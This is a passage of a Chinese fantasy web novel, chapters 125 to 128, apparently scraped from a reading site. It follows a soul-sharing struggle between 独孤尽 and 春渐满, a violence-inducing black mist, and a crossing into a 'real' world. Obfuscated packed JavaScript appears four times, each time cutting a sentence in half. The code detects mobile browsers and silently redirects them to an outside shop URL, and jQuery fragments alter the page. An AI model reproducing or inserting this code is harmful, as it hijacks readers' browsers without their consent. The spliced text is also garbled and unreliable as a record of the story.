就是……太平和了,少了点儿生气。 要在现世将春渐满的灵魂抽离出来附在自己身上可不是件容易的事,可现在画里也不方便去,那里面全是人类,万一春渐满过去之后吸收到了黑气,那就无法控制了。 独孤尽想了半晌,最终只能选择把“怪奇诊所”暂时打开,让春渐满进去。 熟悉的水汽翻涌起来时,春渐满觉得自己的记忆似乎被撬开了一个口子,有什么想要跑出来。 在“怪奇诊所”里,独孤尽是有绝对掌控权的,他一步一步朝着春渐满走近。 这回,春渐满看到的事物已经和独孤尽同步了。 “你确实身上没血,穿着很正常的衣物,手上也没血。”春渐满对此感到新奇,“你已经完成灵魂提取了吗?” “还没,别着急,我想就这样跟你说会儿话。”让春渐满的灵魂附到自己身上可就没法这么直观地看到他的满哥了,也没办法抱他的满哥了。 不过,现在,恐怕满哥也不会让他抱。 独孤尽只能光看着,解解眼馋。 “你为什么这么看我,我不舒服。”春渐满连看都不想让独孤尽看,他觉得独孤尽那样的目光像是把他直接看光了一样,太露骨了,他不舒服。 “那我不看了,你让我抱一下?”独孤尽得寸进尺。 “你到底还做不做?”春渐满觉得自己总能被眼前的人轻易挑起怒火。 “做,做,我这就让你的灵魂附到我身上来。”独孤尽没辙,又往前了一步,他尽量把自己的声音放轻,让自己看起来毫无攻击性,“等会儿你不要有抵触情绪,一定要放松,记住了吗?” 125. 争夺控制权 灵魂提取是一种很奇异的感觉,在春渐满还有记忆的时候,他曾在“怪奇诊所”中被独孤尽变成小玩偶,可那是直接将他灵魂变成小玩偶,而不是从他身体里硬生生把灵魂提取出来。 说不上疼,但身体和灵魂剥离时格外难舍难分,就像藕丝一般,又细又密,稍不留意就要留一丝在身体里。 独孤尽经常做这种将人灵魂剥离的事,可自从他的能力回归,他还没做过这种事,尤其是对着春渐满,不是对着其他穷凶极恶之徒,他自然希望春渐满能够无知无觉被他提取灵魂。 这事情一细致反而不如痛快点好,时间一久就变成了折磨,但春渐满也不敢催促,毕竟这可是大事,他现在可是被捏在独孤尽手中,连发怒都发不了。 彻底剥离□□的灵魂是透明的,连光都能直接穿过,摸不着更闻不着。 独孤尽却能看见,他看得很清楚,或者说,他是用自己的感知力感知的,春渐满的灵魂跟他的□□没有分别,可以说是一模一样,堪称表里如一了。 “过来。”独孤尽招了招手,此刻刚被剥离□□的灵魂是没有记忆的,处于混沌状态,春渐满也是如此,像个孩童一样听从着独孤尽的命令,一步一步朝他走去。 一直走到两人重叠,独孤尽才转过了身,让自己跟春渐满彻底重合。 他紧闭双眸,将周身气息拢住,包裹了那灵魂,用力挤压进自己身体。 再次睁眼时,他能明确感觉到自己身体里多了个灵魂。 说不难受那是不可能的,就像一个容器里已经装满了水,还非要装进其他气体一样。 虽然不至于让水溢出,可鼓鼓囊囊的感觉实在不舒服,就是不知道春渐满感觉如何。 “满哥,你能看见吗?”独孤尽尝试着开口询问。 春渐满缓了好一会儿才适应这具新的身体,他一回神就看到了自己瘫软在地的□□,想都没想,直接走过去把他扶起来。 独孤尽知道自己的身体这是被春渐满控制了,他没想争夺操控权,而是放松了自己,让春渐满随意行动。 “有床吗?我要把‘我’放在床上。”春渐满虽然共享了独孤尽的身体,可却无法读取独孤尽的记忆,毕竟他们的灵魂可没有共享,他没辙还是只能问独孤尽。 “有,附近有个旅店。”独孤尽这会儿操控起自己的身体了,他抬手指了指不远处。 此刻,春渐满已经能看到独孤尽所看到的世界。 这个世界是这般荒凉,冰冷,看得他都冷得发颤,他不喜欢这个世界。 “你动。”春渐满忽然想到自己现在只是外来之魂,他大可以直接指挥独孤尽。 独孤尽有点儿震惊春渐满这么快就适应了灵魂附身,而且还会正确应用了。 “我动可以,但你要行动前需要提前告知我,不然我们双方都在使劲,容易出现意外。”虽然这个世界上已经几乎没人了,但独孤尽仍旧不希望自己的身体出丑。 “好。”春渐满点了点头。 点完,他突然想起来,自己应该先告知独孤尽,而不该擅自行动。 独孤尽原本用力控制自己的身体抱着春渐满的□□,可又被春渐满强行点了头,脖子差点抽筋,手也差点松了。 “一定要记住,不要光答应不做啊。”独孤尽决定速战速决,赶紧把手里的烫手山芋放到旅馆里。 他脚下生风,有冰作为助力,溜起来格外省力,没两分钟就到了旅店。 因为店里没人,他只能一脚踹开了房门,把春渐满轻轻放到床上。 “其实,我的建议是,让它进我的世界。”独孤尽觉得把春渐满的□□这么丢在连锁都被他踹坏了的旅店着实危险。 “你的世界?你是不是把生灵都弄到你的世界去了?”春渐满顿时起疑,他警惕地想要看向独孤尽,却发现自己没法看,毕竟他没法看着“自己”。 “怪不得我在这边越来越寸步难行,原来是你在跟我作对……”春渐满越想越不对劲,“你让我附身到你身上是不是也是要想办法把我的肉身销毁?!之后再让我神魂俱灭?!” 细思极恐后,春渐满开始在独孤尽的身体里挣扎,试图挣脱这具身体回到自己的□□里。 “你……你冷静一下,我没这个意思,我还有别的话要跟你说,先冷静一下!”独孤尽说得断断续续,他要重新控制回自己的身体还真挺难,每次都要挣扎片刻才能夺回使用权。 好半晌春渐满才冷静下来,他坐到了床边,伸手抚上了他肉身的脸。 “我肯定不会让你神魂俱灭。你想,我让你附我的身,那你不是能用我的身体胡作非为吗?甚至可以把我的灵魂挤出去,这样你就彻底拥有了这具身体。”独孤尽指了指自己。 “风险是对半的,没有谁更占上风,你不会觉得我控制灵魂很容易吧?你看,刚刚你要动,我都要好久才能找回控制权。”独孤尽苦口婆心,说的都口渴了。 “我确实让一些人类去了我的世界,但这是为了让你恢复意识,不知道你还记不记得先前自己失控的事?”独孤尽试图让春渐满回忆起他爆发的状态。 “你如果是说之前,我没有失控,是想抓住你让你知道好歹。”春渐满从未觉得自己失去过意识。 “那这个也暂且放一放,你就说,用我的视角看这个世界,觉得这个世界怎么样?”独孤尽不想跟春渐满在这种对战问题上纠缠,毕竟如果真打起来,他不见得会讨到好结果。 况且,现在春渐满在他身体里,更不方便战斗了。 “很难看。”春渐满实话实说,他太不适应这样的世界了,他甚至有点后悔附身独孤尽了。 “想不想把这个世界变得好看起来?”独孤尽循循善诱。 “我的能力,在自己的身体里才能使用。”春渐满刚刚在路上已经试过了,他想让冰雪消融,遍地鲜花,可地上的冰半点儿都没化。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689022|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>原本只要心念转动就能撒出来的花种,现在也用不出来了。 “可让你在自己的身体里继续使用能力,只会让这个世界变得更加冰冷。”独孤尽想到了什么,眼睛一亮,“你的世界里有冬天吗?” 春渐满迟疑了片刻,“偶尔,但也有应季的花会开。” “你如果在自己的世界里,能把世界变成冬天吗?”独孤尽走到窗边,稍微打开了一点窗户,“你看,我们所见的景色是相反的,那也就说明,当你所见变成冬天,这边就会开花。” “为何会出现这样的情况?以往我在人间从未遇到过这样的情形。”春渐满还是不能彻底信任独孤尽,既然两人所见相反,那为什么一定是他所见的是假的? “你那边除了你之外,没有其他生灵跟你所见相同,而我这边,生灵们所见皆与我相同。”独孤尽想在街上抓个人,可窗外全是冰,半个人影都没,以前能遇到的人也都被独孤尽转移了。 “纵使如此,也不能说明我所见是假,你所见就是真。”春渐满半点儿都不上当,他非常坚定自己所想。 “少数服从多数。”独孤尽实在没辙,他头一次在春渐满身上见到了老师的感觉。 “那若多数是错呢?” “即便是错,也是少数服从多数。” “恕我不能苟同。”春渐满直接拒绝了独孤尽的洗脑,他也觉得有些口渴了,两个灵魂用同一个□□说话,确实费口水。 “帮我找瓶水。”春渐满提出要求,他以前可是有很多人供奉的,从来不用自己寻找水源。 “想喝什么?”独孤尽深吸了口气,走到了旅店大厅,看了眼自动贩售机,找了个东西砸破了玻璃,从里面拿出了一瓶饮料,又拿了一瓶矿泉水。 “这是什么?”丧失了人类记忆的春渐满好奇地看着独孤尽打开后不断冒泡的汽水。 “我也要喝这个。” 独孤尽看了看自己手里另外一瓶没开的矿泉水,放下了矿泉水,伸手举高到眼前指了指自己,“我喝就是你喝。” “不然你喝。”独孤尽放松,交出身体的控制权。 这下享受汽水的变成了春渐满,他总算感受到了气泡在舌尖上跳跃的感觉,“这个好喝,这是什么,除了这里,还有哪里能弄到?为什么大家不给我供奉这个?” 独孤尽这回没说出来,如果大家用气泡水浇花,恐怕花早被浇死了。 “好喝也不能喝多,对身体不好,喝完了用水漱漱口。”独孤尽重新把矿泉水拿起来。 春渐满被迫喝了一口水,立马难喝地吐了出来,“我不要,我要喝这个。” 独孤尽万万没有想到自己会因为汽水和春渐满争夺起身体的掌控权,还争夺得这么认真。 “停!我们停战!你爱喝多少喝多少!”独孤尽终于抢回了说话权,赶忙表达了自己的态度。 他不管了,没了人类记忆的春渐满简直跟小孩一样难缠。 126. 另有天地 在谁对谁错上,独孤尽想尽了方法,也没办法让春渐满的想法扭转。 甚至到最后,他也觉得春渐满说得挺对,要是众人皆错,只一人对,那该如何? 将错就错吗? 还没等独孤尽想通,神兽们就找了过来。 九尾狐凑近时,闻到了一丝不同寻常的味道,“阿尽,你身上有别人?” 春渐满下意识控制了独孤尽的身体,往后退了一大步。 “不对,阿尽!谁上了你的身?!”九尾狐大惊失色,伸手就要攻击。 “停!别开战!”独孤尽及时抢回身体的控制权,他抹了一下额上的汗,“你们的春老师现在跟我共用一个身体呢。” “现在他能看到我们所看到的世界了,不过,他觉得我们的世界不一定是真。”独孤尽言简意赅把情况说明,他可不想再跟春渐满抢夺控制权。 “阿尽,这点的话,我其实站春老师。”九尾狐眨巴了两下眼睛,反应过来后,她干脆利落站队。 “你看到的也是冰天雪地对吧?”这回春渐满没跟独孤尽抢身体控制权,他对九尾狐的回答很满意。 “虽然我们看到的都是冰天雪地,但这并不代表这就是真实世界。”九尾狐伸手触碰了一下冰冷的地面,“那黑雾固然恐怖,有极强的蛊惑人心之力,可它真的有办法让这个世界突然大变样吗?” “春老师是被黑雾影响最深的人,他是被隔绝在另一个世界的,和我们身处的地方不同,这是不是就有可能,他看到的才是真的?”九尾狐有理有据地甩了甩她那九条毛茸茸的大尾巴。 春渐满看那尾巴实在暖和,下意识又控制了独孤尽的身体,上前撸了一把狐尾毛。 “春老师?”九尾狐试探着用尾巴尖点了点春渐满的手心。 “嗯,你们为什么都叫我春老师?”春渐满从记事起就一直被人供奉,可却没人喊他老师,他也从未收过徒。 “你教了我们很多东西,所以我们的思维可是和某位不一样的。”九尾狐意有所指。 独孤尽这下忍不住了,夺回自己的身体掌控权反驳,“你们怎么擅自把我排除在外了?不带这样的。” “但九尾狐你说得很有道理,想要整个世界在这么短的时间内大变样确实不容易。” “如果我们看到的不是真的,春老师看到的会是真的吗?”独孤尽之前窥见过一禺,春渐满的世界太美好了,花草繁茂,确实不像真的。 “我估计也不是真的哟,可能世界并为发生变化,它仍旧是它,只不过没人能看到而已。”九尾狐得出的这个结论突然提醒了独孤尽。 “对了,我转移了这么多人,都还没碰到那些玄门世家,先前只以为他们有特殊的办法应对极端变化,现在想起来,太怪异了。”如果这个世界他们和春渐满看到的都是假象,那那些玄门世家估计在真的那个世界里。 仔细想来,不止是那些玄门世家他没遇见,就连春渐满的师父,局里的那些人,甚至,他连陆烨修都没碰见。 他粗粗算过,他转移的人连一个城市都填不满,更别说整个世界了。 可其他人,他根本找不到,翻来覆去都找不到,这才找到了春渐满。 窥见了一角的独孤尽不知道的是,那些他在意的其他人正被黑雾控制着生活在大家熟悉的世界里。 那是真的世界,可现在因为黑雾也变得像假的一样了。 局里每天能接到的报案不是争吵就是动手,甚至好好走在路上,撞了人,都要变成凶杀案。 这种让人暴躁的氛围一直影响到了各个国家部门,工作人员生活在极其压抑的氛围里,毕竟谁都能一触及着,他们不得不让自己平心静气再平心静气,谁都能着,他们不能着。 但被黑雾影响后,不是说控制就能控制的,他们只能临时制定了方案,运用了“关键词”、“休战”、“冷却”等方法,让任何事情都不在当下爆发。 他们把这种方法教给了其他人,可能真正做到的,寥寥无几。 毕竟没有几人能有这种忍耐力,而那些过五关斩六将才能入职的人则韧性更强,他们能严格执行条条规规,不能执行的已经被刷出去了,留下的基本上固若金汤。 “曹局,还没联系上春队长吗?”上面可没忘了春渐满这号人,他现在虽然在曹鸿盛这边,可只要出现这种疑难案件,上面总会想到他,让他来办这难办的差事。 可这回他们费劲找过来之后,却没要到人。 “曹局,你该不会是不舍得放人吧?”领导居高临下看着曹鸿盛,他知道曹鸿盛今非昔比,凭借着几个大案子,上面对他的重视程度也变高了不少,可明眼人都知道,这些案子背地里都是春渐满办的,他只是沾了徒弟的光。 当然,也有一部分认为曹鸿盛这是在保护徒弟,毕竟徒弟优秀成这样,办了这么多大案子,实在是碍了某些人的眼。 “领导,他真不在,我们自己也找了他很久,真找不着。”曹鸿盛这回是真冤,他这个徒弟早就心飞到别人那里去了,每次找他都是来找他帮忙的,现在更是不知道在哪奋斗呢,他找不到人,却知道对方一定在以自己的方式为人民群众奋斗。 “那‘怪奇诊所’呢,他有跟你透露过什么吗?” “这些都是机密,他如果真的有什么发现,会直接上报国家,怎么可能违背命令告诉我,就算我是他师父,我也不会要求他在执行秘密任务的时候告知我情况。”曹鸿盛叹了口气,重新坐回了沙发,他现在有很多负面情绪,可这是能够调和的,他甚至提醒对方,“领导,深呼吸,别被影响了。” 对方揉了好几下太阳穴,深呼吸了好几分钟,才平复了心绪,“既如此,我们也只能寻求玄门那边的帮助了,再这样下去,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689023|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们可撑不了几天。” “这都半个月过去了,也没出什么大岔子,再有一段时间,我们自己也能寻到解决之法。”曹鸿盛不同意上面的决定,“如果做出这事的就是玄门,那我们不是往人家枪口上撞吗?” “怎么解决?这已经不是我们可以解决的事了,该寻求特殊帮助的时候就必须要低下头,这不是闹着玩的,你看看外面,这还像样子吗?”领导火气直涨,他走到窗边,看着外面打的头破血流的人,为的不过是些鸡毛蒜皮的事。 “那若他们另有打算,并不打算帮我们,这不是助长了歪风邪气吗?”曹鸿盛依旧不赞同。 他能信任自己的徒弟,是因他知道春渐满是怎样的人,知道他就算接触了这些,也不会被蛊惑,仍旧能凭着本心去做正确的事,但别人呢?他无从获悉别人的人品,更何况那些都是能人异士,他还真没能力与之对抗。 玄门此时此刻正在静待各方,这黑气他们不陌生,但这么浓郁的黑气,来得蹊跷,如果上面有指令,能给到他们想要的好处,他们倒是可以出手试上一试,可也不能保证把黑气全灭,毕竟,这是由人之恶念生成的。 一开始只是一星半点,根本无法融合在一起,也不知道究竟是何许人也,将这些无法相容的恶念硬生生融到了一起,让它变成了一个活物,能够四散开来影响别人,又能聚集起来,强而不破。 “让我出去!我要出去救人!”陆烨修根本不肯呆在家里。 他也被黑气影响过一阵,可他发现自己只要意志足够凝聚,集中在一点,就能直接吓跑这黑气,他要把这个方法告诉其他人,他要去拯救其他人。 “你给我呆在家里,哪里也不准去!”陆家长辈脸上震怒,可却仍能掌控自己的情绪不爆发,这确实要归功于陆烨修的无师自通,但即便如此,外出的风险还是太大了,他们不可能眼睁睁放陆烨修出去。 “起码,让我告诉周围的邻居,求求你们了,这都半个月了,你们难道生我养我就只是为了让我活着吗?!”陆烨修不能理解长辈们的做法,固然保护自己很重要,可拯救他人同样重要,实在自我价值同样重要,否则,他不就如同一具傀儡一般吗? 那为什么还要养他呢?直接养猫儿狗儿不好吗?还得是当宠物养的那种。 “附近的人家我们已经把你研究出的方法告诉他们了,能不能活就看他们自己的造化了。”为了打消陆烨修执意要出门的意愿,他们换了个思路,“你再研究一下,看看有没有其他办法是普通人也能掌握的,集中意志力这点对普通人来说太难。” 有些人可能平时就只有极其薄弱的意志力,更别说要把意志力具像化集中在一点攻击黑气了。 “那你们给我引点黑气来,快,再骂我几句,让我生气!”陆烨修有了新的方向,一下子又有动力了,也不闹腾了,放松了身心,就等着黑气过来。 127. 柔软的冰之花海 在没有独孤尽也没有春渐满的真实世界里,一群缺肢断腿的人正被当成武器不断制造高浓度的黑雾。 这些人被关在一间漆黑的屋子里,这屋子是用千年的老槐树所造,极其阴寒,整间屋子四四方方,只有顶上开了个天窗,像口井一样。 由于屋梁太高,屋里的人根本没办法从顶上那个口爬出去。 尤其,这屋里关着的还是一群缺胳膊少腿的,更没可能从顶上逃脱了。 这群人正是当时从警局里放出去的那群乞讨者。 他们一早就作为非常规武器在外赚钱,影响别人的运势,可这武器真正派上用场也才半个月。 一开始,他们的恶念还没浓厚到这种程度,更多的只是恐惧,并非真的想对普通人,尤其是那些给他们钱的普通人造成恶劣影响,可他们从警局出来后…… 就被迫自相残杀,将恶念提取到最浓厚的程度,去影响那些普通人。 左志双眸空洞地仰面看着,他是这些人里最强的一个,哪怕是万义蒋来了也一样,不过……万义蒋最终还是靠他的厚脸皮留在了外面,留在了最安全的地方。 “唔……呃……”可他现在连完整的语句都说不了了,他丧失了语言功能。 半张着呼哧呼哧喘气的口中,舌头不见了。 猩红的断口已经不滴血了,好了不知道多少天,也正是因此,让他了解到,留在警局的万义蒋不知道走了什么狗屎运,但现在,恐怕也凶多吉少了。 无论是离开警局,还是留在警局,谁都庇护不了他们,他们的命运早就注定,被那些买断他们命的人写死。 左志把其他人全都绞得半死不活了,那些残缺的人现在连灵魂都是缺的。 本就所剩不多的肢体再次恶化,流出腥臭的黑水,这些水逐渐分解成黑雾,听随左志的指令,朝外涌去。 去吧,影响那些高高坐着的人,影响那些原本不该经历黑暗的人…… 左志的意识没被摧毁这件事恐怕连幕后操控的那人都没料到,毕竟如此情况下,还能保持清醒的意识,也非寻常人了。 在他们的认知里,这群残废里怎么可能有天人? 轻敌永远都是大忌。 左志阴冷地笑着,口中喘出更粗的气。 幕后操控的人是玄门中的叛徒,被恶人邀成了座上宾,行的都是有违常理之事,他猖狂了大半辈子,今朝晨起时,忽地被一阵邪风侵袭,脊柱刺痛,晕厥在地。 他的意识,也被左志摧毁了! 独孤尽和春渐满尚且不知这个世界正发生着何种残酷的事,春渐满不想再呆在独孤尽的身体里,让独孤尽把他放回了自己的身体,这会儿正在各处寻找其他还未见到踪影的神兽。 “当时追杀你们的究竟是什么?”独孤尽想起耳鼠的惨状,恐怕能够像应龙一样安然无恙的神兽寥寥无几。 “主人,这我也说不清,我到现在也不知道究竟是谁在追杀我们,但那股杀意凝成了实质,我百般阻挡之下,才让我流出鲜血,而不是流尽鲜血。”耳鼠当时血都快流干了,还被冰冻住,其他神兽有的还没耳鼠的治愈术,也没它机灵,不知道还能不能被找回。 独孤尽虽然想往好处想,哪怕这些神兽真的是想叛逃出去,只是不想被他找到也行,好过在外头死得不明不白。 怎么也是从千万年前好不容易才生存下来,而且已经在努力融入人类的社会,学着重新生活了。 虽说物竞天择,适者生存,但绝没有现在这样的道理。 “满哥,你也要跟我分开走?”春渐满见其他神兽都被独孤尽安排着分开寻找其他神兽,便也要求分开行动。 “我虽然看到的世界与你不同,但生灵出现我还是能察觉的,不管它们对我是不是恶意,我都会把它们完好无损带到这里。” 他们约定了碰头的地点,就在这间旅店。 如果五天后,还是谁都没找到,就都回到旅店中从长计议。 春渐满不想跟独孤尽说,他已经受够了冰天雪地的世界,即便是假的也好,他也要生活在春暖花开里,况且,他还不认为自己的世界就是假的。 “那个,这些都留给我。”春渐满手里揣着两瓶汽水,他指了指自动贩售机,里面还有一些。 “……放心,我不喝这个,都留给你。”独孤尽嘴角抽搐,他真没想到春渐满还喜欢喝这些,而且喝了一次还上瘾了,喝不够。 春渐满心满意足地走上了他的花海大道,喝着小汽水,赏着花,当然也没忘了四处查看有没有生灵。 独孤尽目送春渐满走远,才朝着另一个方向而去,他没跟大家说,他可能知道其他的神兽去了哪里,他要试着找找看。 如果这个世界真如他们讨论的那般也是假的,那这里说不定也存在着一条缝隙,能够去往真实的世界。 就像……他当初从画里那条缝隙出来时一样。 恐怕当时到的就是虚假的世界,而非真实的世界。 耳鼠说来说去都说不清它是怎么逃出来的,也许它在浑噩之中从缝隙里来到了这边。 神兽们的能力各不相同,但只要时间充足,没有外界干扰,那大概都能找到那条缝隙,最终回到这边。 独孤尽要找的就是这条缝隙,他要去那个不知道存不存在的真实世界去看看。 缝隙这东西肯定是不好找的,独孤尽一连两天都没发现任何线索,毕竟这里到处都是冰川,有些深渊之下究竟是缝隙,还是真的深渊,他也没法冒险一试,只能趴在地面上通过他的感知力去感知。 如果真是缝隙,那该在他靠近的时候有股奇异的吸力,可他现在并未感受到这股力量。 “对了,找黑气,只要能找到黑气,就能找到缝隙。”独孤尽一拍脑袋,他总算想到了事情的关窍。 即便这黑气是人类发散出来的也没关系,他可以把受了影响的人转移到画里。 这种身边无人,只有自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689024|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的感觉很糟糕,独孤尽走着走着就容易陷入情绪的荒芜,他开始漠然,不知道自己所做之事的意义,随后反应过来,再敲打自己,重新坚定信念。 “主人!主人!你快过来!”这次,还是耳鼠先碰到的独孤尽,它甩着尾巴快速飞掠而来。 “这边一片的地域很奇怪!” 独孤尽闻声接住了耳鼠,跟着它的指引到了一片似是花田又似是冰海的地方。 这些冰会浮动,随风晃荡,看起来是软的…… 独孤尽蹲下身触摸了一下,仍旧是那冰冷坚硬的触感,可它为何看起来是蓬松柔软的?! “主人,我刚刚发现这里原本该是花海,但它们被冰住了,变成了这种奇特的景观,我想给它们救治,但不管用,主人你快试试。”耳鼠眼里满是希冀,它也看够了苍白的世界,想见一见五彩缤纷。 “你坐在这,我来试试。”独孤尽拍了拍旁边一块冰石,耳鼠团吧团吧身体缩在了冰石上,两眼巴巴看着独孤尽。 治愈之光笼罩之时,天际都泛起了莹润的霞光,七彩交织,绚丽无比,有点儿像极光,又有点儿像银河。 可惜,能欣赏到的只有耳鼠,独孤尽自己都低着头关注着这片曾经的花海。 他的治愈术已经达到了增峰造极的程度,可这片花海却像是个贪婪的婴儿,丝毫不知节制,一下又一下汲取着从天而降的甘露。 独孤尽足足施展了一个小时的治愈术,以精疲力尽告终。 “呼……呼……呼……”他累得躺到在地上,再也使不出一点治愈能力。 先前他只要治愈一人,那人就会回馈他两倍的治愈能力,可现在,他能力耗尽,也没收回一点儿,实在让人费解。 耳鼠见状不对,赶紧跳到了独孤尽身边,治愈起独孤尽来。 它的治愈术对独孤尽还是有用的,虽然不是灵丹妙药,但独孤尽还是觉得舒坦了不少,起码没有先前的脱力感了。 “耳鼠,我等等要下花海一趟,我觉得里面有东西,可能连接着另外一个世界,不然我的治愈能量不会凭空消失,你在这边等着,如果我两天后还没回来,你就去旅店跟大家说一声,让他们都在这来,看看能不能和我一样从缝隙去往真实的世界。”虽然不想承认,独孤尽还是暂且称了那边为“真实”。 “主人,不如我去把九尾狐叫来,让她跟着你过去吧,你一人前往太危险。”耳鼠根本不放心,如果它能再强一些,它宁愿自己跟着主人,但不管从哪个方面来说,九尾狐都比它要强大。 “不用,我一人前往即可,记住我的话,一定要照做。”独孤尽又嘱咐了一遍。 冰之花海里风很大,全然不向在上面看得那么宁静,越往里走,独孤尽越能感觉到那股吸力。 甚至形成了小型漩涡,只要靠近,不是被卷成肉泥,就是被吸到另一个世界。 独孤尽回头看了一眼,冰花绚烂而无情。 “满哥,等我回来。” 128. 救世之神陆烨修 说好的两天,可独孤尽一下花海,就失去了对时间的感知,他的认知空白了一瞬。 这一瞬不知道过了多久,等他再回过神的时候,天光大亮,花海没了,冰天雪地没了,身边是一片喧嚣。 “病人体征下降,随时准备抢救!” “血压75/50,心率37/min……” 独孤尽眨了两下眼睛望着苍白的天际,哦,不对,这是天花板。 灯好刺眼。 再睡会儿吧。 不!不行!他还有使命在身,现在过去多久了?! 独孤尽骤然惊醒,直直坐了起来,他旋身准备下床,可身上牵连着好多仪器,一下竟没能下的了床。 “诶!病人醒了!你怎么下床了,快躺好!”护士惊呼,生怕独孤尽发生什么意外。 “我昏迷多久了?”他的大脑一片浑噩,可逐渐的,有一点明晰起来了。 他赶时间! “不……不知道,发现你的时候就已经昏迷了,从发现到现在已经一天一夜了。”护士试图安抚独孤尽,“你先好好躺下,什么事能比自己身体更重要?” “我没钱付医疗费,感谢你们救了我,我就先走了。”独孤尽立马谎称自己穷困潦倒,他握拳再松开,试图释放自己的感知力。 凝神静气下,感知力调动了好几回,总算正常发挥了作用,这座医院里人满为患,也不知道他怎么还能占到一张病床的。 “诶!不行,先生你这一天一夜的医疗费怎么也要交的,您看看能不能联系到家人朋友……”护士这下真急了,怎么还有人赖医疗费的。 他们可是救了他的命啊! “我……能借用一下电话吗?”他还真是穷困潦倒,虽然现在人脸识别支付到处都有,但是他并不想暴露自己。 “可以。”护士甚至没带独孤尽去用公用电话,她直接拿自己的手机给独孤尽用了。 毕竟在她看来,独孤尽完全没有到达可以下床行动的程度。 独孤尽按下了一串号码,听了一遍铃声那边才缓缓接了电话,“谁?” 没能让独孤尽开口,那边又开始输出,“如果是广告电话,我这边就挂了。” “陆烨修,是我。”独孤尽的声音有点沙哑,但这丝毫不妨碍陆烨修听出他是谁。 “太阳从西边出来了?!你怎么会主动联系我?!”陆烨修还真放下了手边的事,探出头去看天了。 “也没下红雨啊,难道你也被黑气影响得不正常了?” “来……”独孤尽看了护士一眼,“这是哪个医院?” “鸿茗市第一人民医院,305号病房2床。” 独孤尽重复了一遍,“记下了吗?别走错了,对了,多带点钱。” “你什么情况?在医院被绑架了?还是被绑架在了医院?”陆烨修永远可以发挥他极致的想象力。 “要带多少?多带点是多少?”陆烨修踟蹰了一下,“我可没那么多钱赎你。” “正常医疗费用。”独孤尽勉强解释了一句就挂断了电话,他可不想再被追问下去了,人家护士小姐的电话费也是电话费。 “晚点让他请你喝奶茶。”独孤尽把手机还回去。 “带杯某幸就行,夜班容易犯困。”护士小姐倒是也没推脱,虽然他们有规定不能拿病人送的东西,但这只是抵她的话费,实在被人抓了小辫子,她就说是对方想追她。 反正,现在这个世界已经变得稀奇古怪了,谁也不知道明天会怎么样,与其一直担惊受怕,不如先过好今天,过好当下。 她倒是想得很通,所以那些让别人变得不正常的黑气丝毫影响不了她,甚至她到现在都不明白那些影响人的黑气到底有多恐怖,每天都见急诊大厅里新增那么多患者,她却无论怎么靠近都不会被黑气沾染。 “楚姐,你去负责新收容进来的病人吧,现在也只有你能够不被影响,近距离照顾他们了。”这是近期来,医生说得最多的一句话。 她也从一个普普通通的护士忽然升为了护士长,且实不相瞒,这阶段,她因为自己的这个特性,不断涨薪,现在薪资都能和医生比了。 但这也导致,她现在都排班特别多,很多别的护士不能上的,都让她上了,当真是累得很。 可钱也赚到了,她是半点怨言也没有,心情好得飞起,黑气近身更奈何不了她什么了。 独孤尽在病床上又坐了一会儿,等到护士查完房出去后,才悄悄把自己身上的那些仪器都摘了,悄悄溜出了病房。 他浅浅地观察了一下,这边的情景确实和他印象里正常的人类生活的世界没区别。 唯一要说的区别也就是这里很多病人身上同样萦绕着黑气。 独孤尽神不知鬼不觉在路过病房的时候,时不时停留片刻。 为的只是把自己的治愈术用出去。 他现在身上还有一点儿的治愈术,之前喂给花海的到现在也没能返回来,只能靠这一点点的治愈术继续治愈这里的人,慢慢返还填补一下了。 监控里的独孤尽呈现一种极其奇怪的状态,他把医院各处都跑遍了,几乎在每处都要停留好一会儿,那神情一会儿痛苦一会儿舒畅,看起来就像是脑子有点儿问题。 可他毕竟没做什么过激的行为,而且也没人规定人不能在医院里散步啊。 独孤尽才不管自己在别人看来有多怪异,他现在治愈能力恢复得差不多了,顺便也给自己进行了治疗,让自己身上的皮肉伤瞬间恢复。 “305号病房在哪?”陆烨修很快赶到了医院,他可是打的飞的,尽量缩小了两座城市之间的距离。 “我在这,你来得正好,帮我把医疗费交一下。”独孤尽已经把整个医院的人都救了一遍,现在医院里正起风浪,毕竟很多患者都病得不省人事了,突然就一切体征正常,这太匪夷所思了,比黑气影响人还匪夷所思了。 他们现在没工夫去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 